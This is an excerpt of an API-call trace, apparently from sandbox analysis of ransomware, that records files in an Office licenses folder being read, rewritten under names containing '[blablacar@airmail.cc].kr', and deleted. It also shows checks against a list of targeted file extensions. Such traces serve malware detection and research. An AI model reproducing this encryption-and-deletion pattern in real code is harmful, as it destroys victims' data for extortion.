(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0210.881] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.881] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0210.893] GetLastError () returned 0x0 [0210.918] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0210.929] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0210.930] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0210.930] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x104, lpOverlapped=0x0) returned 1 [0210.930] SetEndOfFile (hFile=0x544) returned 1 [0210.931] CloseHandle (hObject=0x544) returned 1 [0210.931] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.931] SetEndOfFile (hFile=0x554) returned 1 [0210.938] CloseHandle (hObject=0x554) returned 1 [0210.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-pl.xrm-ms")) returned 1 [0210.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.947] lstrlenW (lpString=".doc") returned 4 [0210.947] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString=".docx") returned 5 [0210.947] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.947] lstrlenW (lpString=".pdf") returned 4 [0210.947] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString=".xls") returned 4 [0210.947] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString=".xlsx") returned 5 [0210.947] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.947] lstrlenW (lpString=".ppt") returned 4 [0210.947] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.947] lstrlenW (lpString=".zip") returned 4 [0210.947] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString=".rar") returned 4 [0210.947] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString=".bz2") returned 4 [0210.947] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString=".7z") returned 3 [0210.947] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.947] lstrlenW (lpString=".dbf") returned 4 [0210.947] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.947] lstrlenW (lpString=".1cd") returned 4 [0210.947] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.947] lstrlenW (lpString=".jpg") returned 4 [0210.947] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.948] lstrlenW (lpString=".doc") returned 4 [0210.948] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString=".docx") returned 5 [0210.948] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.948] lstrlenW (lpString=".pdf") returned 4 [0210.948] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString=".xls") returned 4 [0210.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString=".xlsx") returned 5 [0210.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.948] lstrlenW (lpString=".ppt") returned 4 [0210.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.948] lstrlenW (lpString=".zip") returned 4 [0210.948] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString=".rar") returned 4 [0210.948] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString=".bz2") returned 4 [0210.948] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString=".7z") returned 3 [0210.948] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.948] lstrlenW (lpString=".dbf") returned 4 [0210.948] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.948] lstrlenW (lpString=".1cd") returned 4 [0210.948] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-pl.xrm-ms") returned 74 [0210.948] lstrlenW (lpString=".jpg") returned 4 [0210.948] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.949] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.949] lstrlenW (lpString="OutlookR_Trial-ppd.xrm-ms") returned 25 [0210.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0210.950] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20902) returned 1 [0210.950] CloseHandle (hObject=0x378) returned 1 [0210.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms")) returned 0x220 [0210.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0210.951] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.951] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0210.952] GetLastError () returned 0x0 [0210.952] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x51a6, lpOverlapped=0x0) returned 1 [0211.013] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x51b0, lpOverlapped=0x0) returned 1 [0211.015] ReadFile (in: hFile=0x378, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.015] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0211.015] SetEndOfFile (hFile=0x544) returned 1 [0211.033] CloseHandle (hObject=0x544) returned 1 [0211.033] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.033] SetEndOfFile (hFile=0x378) returned 1 [0211.064] CloseHandle (hObject=0x378) returned 1 [0211.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ppd.xrm-ms")) returned 1 [0211.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.171] lstrlenW (lpString=".doc") returned 4 [0211.171] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString=".docx") returned 5 [0211.171] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.171] lstrlenW (lpString=".pdf") returned 4 [0211.171] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString=".xls") returned 4 [0211.171] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString=".xlsx") returned 5 [0211.171] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.171] lstrlenW (lpString=".ppt") returned 4 [0211.171] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.171] lstrlenW (lpString=".zip") returned 4 [0211.171] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString=".rar") returned 4 [0211.171] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString=".bz2") returned 4 [0211.171] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString=".7z") returned 3 [0211.171] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.171] lstrlenW (lpString=".dbf") returned 4 [0211.171] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.171] lstrlenW (lpString=".1cd") returned 4 [0211.171] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.171] lstrlenW (lpString=".jpg") returned 4 [0211.171] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.172] lstrlenW (lpString=".doc") returned 4 [0211.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString=".docx") returned 5 [0211.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.172] lstrlenW (lpString=".pdf") returned 4 [0211.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString=".xls") returned 4 [0211.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString=".xlsx") returned 5 [0211.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.172] lstrlenW (lpString=".ppt") returned 4 [0211.172] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.172] lstrlenW (lpString=".zip") returned 4 [0211.172] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString=".rar") returned 4 [0211.172] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString=".bz2") returned 4 [0211.172] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString=".7z") returned 3 [0211.172] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.172] lstrlenW (lpString=".dbf") returned 4 [0211.172] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.172] lstrlenW (lpString=".1cd") returned 4 [0211.172] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ppd.xrm-ms") returned 75 [0211.172] lstrlenW (lpString=".jpg") returned 4 [0211.173] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.173] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.173] lstrlenW (lpString="OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 34 [0211.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0211.173] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11619) returned 1 [0211.174] CloseHandle (hObject=0x518) returned 1 [0211.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0211.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0211.174] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.174] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0211.175] GetLastError () returned 0x0 [0211.175] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d63, lpOverlapped=0x0) returned 1 [0211.310] WriteFile (in: hFile=0x554, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0211.311] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.311] WriteFile (in: hFile=0x554, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0211.311] SetEndOfFile (hFile=0x554) returned 1 [0211.311] CloseHandle (hObject=0x554) returned 1 [0211.316] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.316] SetEndOfFile (hFile=0x518) returned 1 [0211.337] CloseHandle (hObject=0x518) returned 1 [0211.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms")) returned 1 [0211.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.602] lstrlenW (lpString=".doc") returned 4 [0211.602] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString=".docx") returned 5 [0211.602] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.602] lstrlenW (lpString=".pdf") returned 4 [0211.602] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString=".xls") returned 4 [0211.602] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString=".xlsx") returned 5 [0211.602] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.602] lstrlenW (lpString=".ppt") returned 4 [0211.602] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.602] lstrlenW (lpString=".zip") returned 4 [0211.602] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString=".rar") returned 4 [0211.602] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString=".bz2") returned 4 [0211.602] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.602] lstrlenW (lpString=".7z") returned 3 [0211.602] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.602] lstrlenW (lpString=".dbf") returned 4 [0211.602] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.603] lstrlenW (lpString=".1cd") returned 4 [0211.603] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.603] lstrlenW (lpString=".jpg") returned 4 [0211.603] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.603] lstrlenW (lpString=".doc") returned 4 [0211.603] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString=".docx") returned 5 [0211.603] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.603] lstrlenW (lpString=".pdf") returned 4 [0211.603] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString=".xls") returned 4 [0211.603] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString=".xlsx") returned 5 [0211.603] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.603] lstrlenW (lpString=".ppt") returned 4 [0211.603] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.603] lstrlenW (lpString=".zip") returned 4 [0211.603] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString=".rar") returned 4 [0211.603] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString=".bz2") returned 4 [0211.603] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString=".7z") returned 3 [0211.603] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.603] lstrlenW (lpString=".dbf") returned 4 [0211.603] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.604] lstrlenW (lpString=".1cd") returned 4 [0211.604] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0211.604] lstrlenW (lpString=".jpg") returned 4 [0211.604] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.604] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.604] lstrlenW (lpString="PersonalPipcR_Grace-ppd.xrm-ms") returned 30 [0211.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.605] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20941) returned 1 [0211.605] CloseHandle (hObject=0x4d4) returned 1 [0211.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms")) returned 0x220 [0211.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 